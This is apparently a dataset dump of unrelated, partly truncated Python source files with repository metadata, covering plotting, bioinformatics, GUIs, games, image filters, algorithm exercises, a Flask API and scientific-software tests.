3.125
3
[]
no_license
import matplotlib.pyplot as plt from mpl_toolkits import mplot3d def plot_trajectory(x, ax=None, step=1, lc='k', alpha=0.8, mark_ind=None, mark_color=None, ms=20): """Plot a statespace trajectory, in 2D or 3D. Parameters ---------- x : np array, 2D State variables to plot (signal), [dim x len]...
true
d1f54178ab41233aec7830cf503fcdc83c344775
saha-lab/scripts
/RNA-Seq_Pipeline/Annotation/gff_to_fasta.py
UTF-8
936
2.515625
3
[]
no_license
from BCBio import GFF from Bio import SeqIO import sys gff_filename = sys.argv[1] if not gff_filename.endswith(".gff"): print("Error: Invalid filename " + gff_filename + ". Are you sure it's a GFF?") #end if fasta_filename = sys.argv[2] sequence = SeqIO.read(fasta_filename, "fasta") with open(gff_filename, 'rU')...
true
f0b708e18afeefdb02e072ab1bf49e5843a9d7c9
EnriqueTheDog/Snake_unlimited
/fruit.py
UTF-8
329
2.796875
3
[]
no_license
import random from config import WINDOW_HEIGHT, WINDOW_WIDTH from util import random_color class Fruit: def __init__(self, size): self.size = size self.position = [random.randint(0, WINDOW_WIDTH - size), random.randint(0, WINDOW_HEIGHT - size)] self.color = random...
true
19266019ee6dda3ff02d387989bdddfe3034adac
akash7883/Tkinter-Tutorials
/icons,images.py
UTF-8
454
3
3
[ "Apache-2.0" ]
permissive
from tkinter import * from PIL import ImageTk,Image root=Tk() root.title("Akash Tkinter") #set icon for my project root.iconbitmap('2.ico') #use of images in tkinter ''' to use images in tkinter we need to use pillow package ''' my_image=ImageTk.PhotoImage(Image.open("Capture.PNG")) labl=Label(root,image=m...
true
4b998e3fd5cd180e0a5fbd2081f718d7c63ef141
ZeK1ng/machineVision
/hw1/hw1_release/filters.py
UTF-8
9,824
3.859375
4
[]
no_license
""" CS131 - Computer Vision: Foundations and Applications Assignment 1 Author: Donsuk Lee (donlee90@stanford.edu) Date created: 07/2017 Last modified: 10/16/2017 Python Version: 3.5+ """ from skimage import io from time import time import matplotlib.pyplot as plt import numpy as np def show_image(image): imgplot...
true
231e20ead1fa92edf5f7749bb7a41620e5c0fe1b
knuu/competitive-programming
/yukicoder/yuki135.py
UTF-8
144
2.578125
3
[ "MIT" ]
permissive
N = int(input()) X = sorted(list(set(map(int, input().split())))) print(0 if len(X) == 1 else min([abs(X[i]-X[i+1]) for i in range(len(X)-1)]))
true
034c0c14757e2345b9a11cfabc666f30529dd7d4
kahitomi/Deep-Learning
/ann.py
UTF-8
11,179
2.53125
3
[ "MIT" ]
permissive
# -*- coding: utf-8 -*- import numpy as np import math import matplotlib.pyplot as plt class eann(object): """EANN model""" architecture = [] layer_num = 0 w = [] epochs = -1 error = 0.01 population = 1 mutationRate = 0.001 def __init__(self, options): self.architecture = options['architecture'] ...
true
28d3fbc59de2e32e21851491573bb878bfb78f40
Aasthaengg/IBMdataset
/Python_codes/p02802/s910384833.py
UTF-8
354
2.671875
3
[]
no_license
N, M = map(int, input().split()) PS = [list(input().split()) for _ in range(M)] acdic = {} wadic = [0] * 10 ** 5 ac = 0 wa = 0 for ps in PS: p = int(ps[0]) s = ps[1] if not p in acdic: if s == "WA": wadic[p] += 1 else: ac += 1 acdic[p] = True ...
true
84ed571da1d5696b916a4ff8c7bf1834a4a22649
freemonj/flask_api
/src/resources/ipaddrs.py
UTF-8
2,616
2.65625
3
[]
no_license
from flask_restful import Resource from flask import request from Model import db, IPAddrs, IPAddrsSchema import traceback as tb import ipaddress ipaddrs_schema = IPAddrsSchema(many=True) ipaddr_schema = IPAddrsSchema() class IPAddrResource(Resource): ''' Class for creating/adding IP's or IP Mask to the datab...
true
6595e4b738d7c6df7defb0013a9cb161e7d18919
gageholden/Pyam
/pyam_0_1/fancypack/leftover.py
UTF-8
998
3.3125
3
[]
no_license
def any_relevance(lst1, lst2): for l1 in lst1: for l2 in lst2: if compute_relevance(l1, l2)>0: return True return False def compute_relevance(fact, other_fact): # For now, this just counts the intersection of the words in fact and the words in other facts and norms it by the # words...
true
0de1e4f4f49a6ba6ba6e81a3df509b6aaa895c8f
JaySurplus/online_code
/leetcode/python/316_Remove_Dupliate_Letters.py
UTF-8
1,061
3.9375
4
[]
no_license
#!python # Given a string which contains only lowercase letters, remove duplicate letters so that every letter appear once and only once. # You must make sure your result is the smallest in lexicographical order among all possible results. class Solution: def removeDuplicateLetters(self, s): """ ...
true
8b030d535fc318745872c35608d0d7f375774d76
leoGCoelho/Dijkstra-and-Greedy-Algorithms
/grafo.py
UTF-8
5,991
3.375
3
[]
no_license
# Busca por Dijkstra e por Algoritmo Guloso from collections import deque, namedtuple inf = float('inf') aresta = namedtuple('aresta', 'ini, fim, custo') # aresta eh formada por uma dupla contendo o valor da aresta e uma tripla com as ligacoes da aresta e o seu valor # metodo de construcao da aresta def make_aresta...
true
c64aeb5d63d9392b7cfb37457db40f1f912ab17b
pedroceciliocn/python_work
/Chapter_10_Files_and_Exceptions/10_3/Guest.py
UTF-8
138
3.640625
4
[]
no_license
filename = 'guest.txt' with open(filename, 'w') as file_object: name = input("Tell me your name: ") if name: file_object.write(name)
true
32913b2d91a9735b978abd9a58e3b260c9f093f2
alextai1998/PythonGameProg
/Semester 2/GUI/ultimateGUI.py
UTF-8
6,347
2.75
3
[]
no_license
""" This program consists of a GUI that utilizes all of the QWidgets taught in class. """ import sys from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QCheckBox, QProgressBar,\ QDockWidget, QCalendarWidget, QLabel, QTabWidget, QComboBox, QLineEdit, QFormLayout, QSpinBox class Ultimate(QTabWidget): ...
true
6a37a9efcd25649b883cf9a7ba9a58224c4fe437
laerreal/gic
/common/topology.py
UTF-8
1,182
3.78125
4
[]
no_license
__all__ = [ "GraphIsNotAcyclic", "sort_topologically" ] class GraphIsNotAcyclic(ValueError): pass def dfs(node): try: if node.__dfs_visited__ == 1: raise GraphIsNotAcyclic # This is not actually needed # elif node.__dfs_visited__ == 2: # raise StopIterat...
true
02833f1d316be4effc878fdd84be15a7fc1df1cd
etijskens/et-MD3
/tests/et_md3/time/test_time.py
UTF-8
6,812
2.53125
3
[]
no_license
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for `et-MD` package.""" import sys sys.path.insert(0,'.') import pytest import numpy as np from et_md3.atoms import Atoms from et_md3.time import VelocityVerlet import et_md3.potentials # import matplotlib.pyplot as plt def test_VelocityVerlet_no_motion(): ...
true
934977e4373752a72f803161bbb8ea0ee9dd8221
AnkitShaw-creator/practice_python
/primality_test.py
UTF-8
456
3.4375
3
[]
no_license
import math """ 1 ≤ T ≤ 20 1 ≤ N ≤ 100000 """ def checkPrime(k): if k%2 == 0: return "No" else: for i in range(3,int(math.sqrt(k))+1,2): if k % i == 0: return "No" return "Yes" if __name__ == "__main__": for _ in range(int(input()...
true
18858de28dbf73aeccdd5693ebb953dd87f6c692
pinae/Heightmap-Generator
/Watermap.py
UTF-8
7,808
3.1875
3
[]
no_license
#!/usr/bin/python # -*- coding: utf-8 -*- import sys import pygame import numpy as np from random import random, shuffle from Config import mapdimensions, directions, slope def get_dir(start, end): if start[0] < end[0]: if start[1] < end[1]: return 5 else: if start[1] > e...
true
e39fb541a248f4b1c9046b305056e718c390fb43
AmitNaik07/WallpaperScript
/weather.py
UTF-8
1,902
3.09375
3
[]
no_license
import requests, json, os import datetime, sys api_key = "# Enter your API key here " # base_url variable to store url base_url = "http://api.openweathermap.org/data/2.5/weather?" # complete url address complete_url = base_url + "appid=" + api_key + "&q=" + "Pune" response = requests.get(complete_url) x = resp...
true
1366a0c2e488493a34ac2337d6c3a770e9165923
nimitpatel26/python-data-structures
/algorithms/dp/longest_repeating_subseq.py
UTF-8
593
3.453125
3
[]
no_license
class Longest: def __init__(self, s): self.s = s self.cache = {} print(self.get_longest(0, 0)) def get_longest(self, i1, i2): if i1 == len(self.s) or i2 == len(self.s): return 0 if (i1, i2) in self.cache: return self.cache[(i1, i2)] lo...
true
177bfe28191b3949456bb20a10da290ae5639225
Jacksonmwirigi/PythonSeries1
/DS1.py
UTF-8
1,193
4
4
[]
no_license
import pandas as pd import matplotlib.pyplot as plt #create a dataframe #reading the csv file dataframe = pd.read_csv('school.csv') # print(dataframe) #read the first 10 rows #print(dataframe.head(10)) #read the last 10 rows # print(dataframe.tail(10)) #to see statistics of our data we use describe function # print...
true
8104efcb9deb6657f64a22271bc093b1fda6c213
Gregorvich/dungeon-omega
/Scripts/Sorcery_Helper_Functions.py
UTF-8
1,030
3.296875
3
[]
no_license
from Sorcery_Functions import Sorcery # Creates some basic spells and returns a # list of them def createSpells(forbiddenSpellFlag, hippoFlag): spellBook = [] fireBall = Sorcery("Fireball", 5, "Fire", False) iceStorm = Sorcery("Ice Storm", 20, "Frost", False) shadowDagger = Sorcery("Shadow Dagger", 7, ...
true
bb406d4f380103cd497a11bd6f75e58ba8bf0d2f
amolshelar/python-sandbox
/aifa/AIFA_Classifier_Selection_Accuracy.py
UTF-8
3,932
2.890625
3
[]
no_license
# -*- coding: utf-8 -*- import pandas as pd from sklearn.tree import DecisionTreeClassifier from sklearn.ensemble import RandomForestClassifier from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression from sklearn.neighbors import KNeighborsClassifier from sklearn.naive_bayes import Gaussia...
true
a61c3c0447e44f22584fee3170be397c8055240f
pybamm-team/PyBaMM
/tests/unit/test_expression_tree/test_operations/test_latexify.py
UTF-8
3,216
2.546875
3
[ "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause" ]
permissive
""" Tests for the latexify.py """ from tests import TestCase import os import platform import unittest import uuid import pybamm from pybamm.expression_tree.operations.latexify import Latexify class TestLatexify(TestCase): def test_latexify(self): model_dfn = pybamm.lithium_ion.DFN() func_dfn = s...
true
465c5a3d4cbcedd573c0e9371ac0992b05af6735
rsharifnasab/leaf_area_index_server
/area.py
UTF-8
1,249
3.078125
3
[]
no_license
from PIL import Image def load(address): MAX_DIMENS = 512 , 512 image = Image.open(address) image.thumbnail(MAX_DIMENS, Image.ANTIALIAS) return image def distinc_colors(image): COLOR_LIMIT = 1.1 im = image R, G, B = im.convert('RGB').split() r = R.load() g = G.load() b = B.lo...
true
36f37cb9bbb5223c7a2680520509647d33a5a458
cyrilix/donkey
/donkeycar/tests/test_vehicle.py
UTF-8
930
2.75
3
[ "MIT" ]
permissive
import logging import pytest import donkeycar as dk from donkeycar.parts.transform import Lambda @pytest.fixture() def vehicle(): v = dk.Vehicle() def f(): return 1 l = Lambda(f, outputs=['test_out']) v.register(l) return v def test_create_vehicle(): v = dk.Vehicle() assert v.parts =...
true
0140ca3734aebd6d336c77e9f6660daea66be652
daksh-git/Turtle_Codes
/School/Circular Pattern2.py
UTF-8
166
3.0625
3
[]
no_license
import turtle as bob bob.speed(0) radius = 5 for i in range(20): bob.circle(radius) bob.circle(-radius) bob.lt(10) radius += 8 print() bob.done()
true